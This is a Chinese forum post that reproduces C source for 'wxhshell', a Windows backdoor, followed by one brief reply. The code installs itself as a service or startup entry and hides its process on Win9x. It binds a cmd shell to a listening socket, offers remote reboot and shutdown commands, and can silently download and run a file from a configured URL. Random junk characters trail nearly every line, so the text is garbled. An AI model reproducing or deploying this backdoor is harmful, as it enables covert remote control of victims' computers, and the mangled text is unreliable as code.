  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #cR5k@  
  } ;4+z~7Je]^  
  else { UXSwd#I&  
T c-fO /0  
    switch(cmd[0]) { hj=n;,a9  
  covCa)kf  
  // 帮助 z%fjG}z  
  case '?': { i (rYc  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tli*3YIw  
    break; |QrVGm@2  
  } Lh+7z>1  
  // 安装 )~)T[S  
  case 'i': { kb-XEJ}L  
    if(Install()) /p-k'387  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @V4nc 'o.  
    else JA >&$h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ILG&l<!E  
    break; BDp(&=ktq  
    } axG%@5  
  // 卸载 NrcV%-+u%  
  case 'r': { B <Jxj  
    if(Uninstall()) RCkmxO;b&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); __z/X"H  
    else }2=~7&)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c7rC!v  
    break; +o.#']}Pl  
    } &~"N/o  
  // 显示 wxhshell 所在路径 Kj"n Id)  
  case 'p': { iR4"I7J  
    char svExeFile[MAX_PATH]; TbqtT_{  
    strcpy(svExeFile,"\n\r"); ='#7yVVcs  
      strcat(svExeFile,ExeFile); \hJLa  
        send(wsh,svExeFile,strlen(svExeFile),0); M7DoAS{6e  
    break; rp ]H&5.*  
    } 1\jj3Y'i'  
  // 重启 45+kwo0  
  case 'b': { MNfc1I_#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g6q[ I8  
    if(Boot(REBOOT)) &Ai +t2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6_EfOD9  
    else { jJ>I*'w  
    closesocket(wsh); NR^Z#BU  
    ExitThread(0); &sq q+&ao  
    } a/d8_(0  
    break; ~N2 [j  
    } i;2V   
  // 关机 B(@uJ^N  
  case 'd': { q!d7Ms{q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]VVx2ERs  
    if(Boot(SHUTDOWN)) iA2TvP#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 17rg!'+   
    else { 5Shc$Awc!  
    closesocket(wsh); (i)O@Jve  
    ExitThread(0); 5N>L|J2  
    } 5t-(MY  
    break; &I(3/u  
    } $a')i<m^g  
  // 获取shell yX\~ {%  
  case 's': { ;S2/n$Ju_  
    CmdShell(wsh); CfLPs)\ACm  
    closesocket(wsh); q_6 <}2m,U  
    ExitThread(0); 3k+46Wp  
    break; Mc|UD*Z  
  } LZPLz@=&]  
  // 退出 pr"q-S>E  
  case 'x': { w="  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K?wo AuY  
    CloseIt(wsh); 6K.0dhl>`B  
    break; H|N,nkhH}  
    } {Cw>T-`  
  // 离开 ~RM_c  
  case 'q': { xqKj&RuLu  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [MM`#!K%  
    closesocket(wsh); uY )|   
    WSACleanup(); j&?@:Zg v  
    exit(1); 0bIhP,4&  
    break; grCz@i  
        } CwzDkr&QC_  
  } cZ/VMQEr  
  } ;#2yF34gv  
ma2-66M~j  
  // 提示信息 p\|*ff0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LwCf}4u"  
} b;e*`f8T3c  
  } al Q:'K  
(d5kD#.N  
  return; SR'u*u!  
} Y&b JKX  
a/ Z\h{*  
// shell模块句柄 {Ve_u  
int CmdShell(SOCKET sock) rcMSso2  
{ f,Dj@?3+  
STARTUPINFO si; z!\)sL/"  
ZeroMemory(&si,sizeof(si)); LT '2446  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?F%,d{^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l:VcV  
PROCESS_INFORMATION ProcessInfo; g"v-hTx  
char cmdline[]="cmd"; G C3G=DTt  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k'{Bhi4  
  return 0; 6SD9lgF*-  
} &Sp2['a!  
Oc?]L&ap  
// 自身启动模式 M,9f}V)  
int StartFromService(void) *1b)Va8v*  
{ "PY&NL?  
typedef struct ^{fA:N=  
{ e/!xyd  
  DWORD ExitStatus; d#3E'8  
  DWORD PebBaseAddress; 1A\N$9Dls  
  DWORD AffinityMask; Zut"P3d=J  
  DWORD BasePriority; 5@@ilvwzz  
  ULONG UniqueProcessId; q vGkTE  
  ULONG InheritedFromUniqueProcessId; Ut^ {4_EC  
}   PROCESS_BASIC_INFORMATION; V> @+&q  
 HO =\  
PROCNTQSIP NtQueryInformationProcess; 0=KyupwXC  
t=(CCq_N,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5XA{<)$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {`1gDKH  
+/~;y{G..z  
  HANDLE             hProcess; ]PjJy/vkjj  
  PROCESS_BASIC_INFORMATION pbi; (\NZ)Ys  
OAZ5I)D>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N(^ q%eHp  
  if(NULL == hInst ) return 0; qm=N@@R&  
EAXbbcV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vTU*6)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?T <2Cl'C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u IGeSd5B  
dBMr%6tz  
  if (!NtQueryInformationProcess) return 0; r5g:#mF"  
J PK( S~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N3g\X  
  if(!hProcess) return 0; 5ki<1{aVtZ  
KI{B<S3*Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h#rziZ(  
+&h<:/ V  
  CloseHandle(hProcess); u3ns-e  
o79EDPX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hV]]%zwR+  
if(hProcess==NULL) return 0; -9z!fCu3  
'l*p!=  
HMODULE hMod; /KH,11 )yc  
char procName[255]; kls 6Dk#  
unsigned long cbNeeded; '9d] B^)F  
=;?afUj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (7_}UT@w-  
3c.,T  
  CloseHandle(hProcess); aaODj>  
Pwg?a  
if(strstr(procName,"services")) return 1; // 以服务启动 0B?t:XU,  
TmIw?#q^  
  return 0; // 注册表启动 B)}.%G*  
} `suEN @^  
$,9A?'  
// 主模块 ny{Yr>:2  
int StartWxhshell(LPSTR lpCmdLine) R-V4Ju[:  
{ vhOX1'  
  SOCKET wsl; K/Qo~  
BOOL val=TRUE; U sS"WflB  
  int port=0; ~y.t amNW  
  struct sockaddr_in door; >Kjl>bq  
#.^A5`k  
  if(wscfg.ws_autoins) Install(); zLda&#+  
+=N#6 # 1  
port=atoi(lpCmdLine); "MNI_C#{  
<@z!kl  
if(port<=0) port=wscfg.ws_port; S)$iHBx{  
E\Et,l#|LY  
  WSADATA data; (6#, $Ze   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YZyV   
-\V!f6Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :sL?jGk\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4V9S~^v|  
  door.sin_family = AF_INET; 5:sk&0:@U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $)6%LG_@  
  door.sin_port = htons(port); L6=`x a,  
ydm2'aV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U+FI^Xrt#  
closesocket(wsl); _8I\!  
return 1; Mo~zq.  
} -) LiL  
o1zKns?  
  if(listen(wsl,2) == INVALID_SOCKET) { mW&hUP Rx  
closesocket(wsl); qRnD{g|{1  
return 1; @n Oj6b  
} vlS+UFH0  
  Wxhshell(wsl); 3BzC'nplm  
  WSACleanup(); 9`X}G`  
b>Em~NMu_  
return 0; /_l$h_{DH  
AkE(I16Uy~  
} cA8A^Iv:0  
6A23H7  
// 以NT服务方式启动 Cl>{vS N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JULns#tx}  
{ {\62c;.  
DWORD   status = 0; ZGZ1Q/WH  
  DWORD   specificError = 0xfffffff; o/~Rf1  
3yw`%$d5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; d,d ohi  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zD,K_HicI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o;5ns  
  serviceStatus.dwWin32ExitCode     = 0; #<*=)[  
  serviceStatus.dwServiceSpecificExitCode = 0; wFX>y^ 1  
  serviceStatus.dwCheckPoint       = 0; V|W[>/  
  serviceStatus.dwWaitHint       = 0; h1AZ+9  
/c:78@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J=sj+:GS  
  if (hServiceStatusHandle==0) return; Yw_^]:~  
mo()l8  
status = GetLastError(); /fDXO;tN  
  if (status!=NO_ERROR) f~?4  
{ ')#!M\1,HQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xh`4s  
    serviceStatus.dwCheckPoint       = 0; dlJc~|  
    serviceStatus.dwWaitHint       = 0; h51)kN:  
    serviceStatus.dwWin32ExitCode     = status; O@-|_N*;K  
    serviceStatus.dwServiceSpecificExitCode = specificError; Sxzt|{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); '74*-yd  
    return; W|-<ekH_u  
  } p%ZOLoc)Y  
RHv|ijYy  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; DT#F?@LG(  
  serviceStatus.dwCheckPoint       = 0; e` {F7rd:  
  serviceStatus.dwWaitHint       = 0; }2+*E}g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z=1N}l~|*  
} Zv&<r+<g  
Mv\]uAT`  
// 处理NT服务事件,比如:启动、停止 *aaK_=w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &r0U9J  
{ M>g%wg7Ah  
switch(fdwControl) X 3q2XU  
{ ~A$y-Dt'  
case SERVICE_CONTROL_STOP: _y5J]Yu`j  
  serviceStatus.dwWin32ExitCode = 0;  O3~7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @T@lHc  
  serviceStatus.dwCheckPoint   = 0; f{+n$ Cos  
  serviceStatus.dwWaitHint     = 0; ~U$ioQy<  
  { wT@{=s,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }>$3B5}  
  } :&`,T.N.vK  
  return; u%b.#!  
case SERVICE_CONTROL_PAUSE: PSREQK@}E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -?vII~a9y  
  break; ]Mb:zs<r  
case SERVICE_CONTROL_CONTINUE:  SodYb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  ow2tfylV  
  break; ;%B:1Z  
case SERVICE_CONTROL_INTERROGATE: teX)!N [  
  break; '9XSz?  
}; D7|qFx;]g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2qpUUo f  
} ZWXA%u7V  
V_"UiN"o  
// 标准应用程序主函数 !Y^3%B%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Hkzx(yTi  
{ '1vm]+oM  
Q|7l!YTzVu  
// 获取操作系统版本 < VrHWJo  
OsIsNt=GetOsVer(); Cc&SHG*R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Gc*p%2c  
|{V@t1`  
  // 从命令行安装 7&w$@zs87  
  if(strpbrk(lpCmdLine,"iI")) Install(); K.r "KxCm|  
BRTCo,i  
  // 下载执行文件 G/4~_\YMq  
if(wscfg.ws_downexe) { D/&nEMp6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \#7@"~<  
  WinExec(wscfg.ws_filenam,SW_HIDE); J-5E# v  
} eJ+@<+vr;x  
QA=mD^A  
if(!OsIsNt) { GD@|X wK){  
// 如果时win9x,隐藏进程并且设置为注册表启动 |f{(MMlj  
HideProc(); T%O2=h\} E  
StartWxhshell(lpCmdLine); fV o7wp  
} bvF-F$n%F  
else ;Q\MH t*  
  if(StartFromService()) 6Ij'z9nJw  
  // 以服务方式启动 12LGWhDp  
  StartServiceCtrlDispatcher(DispatchTable); nxhn|v  
else ^?R8>97_?  
  // 普通方式启动 a?1Ml>R6P  
  StartWxhshell(lpCmdLine); 'bn$"A"{o  
A Qm!7,  
return 0; ~djHtd>  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八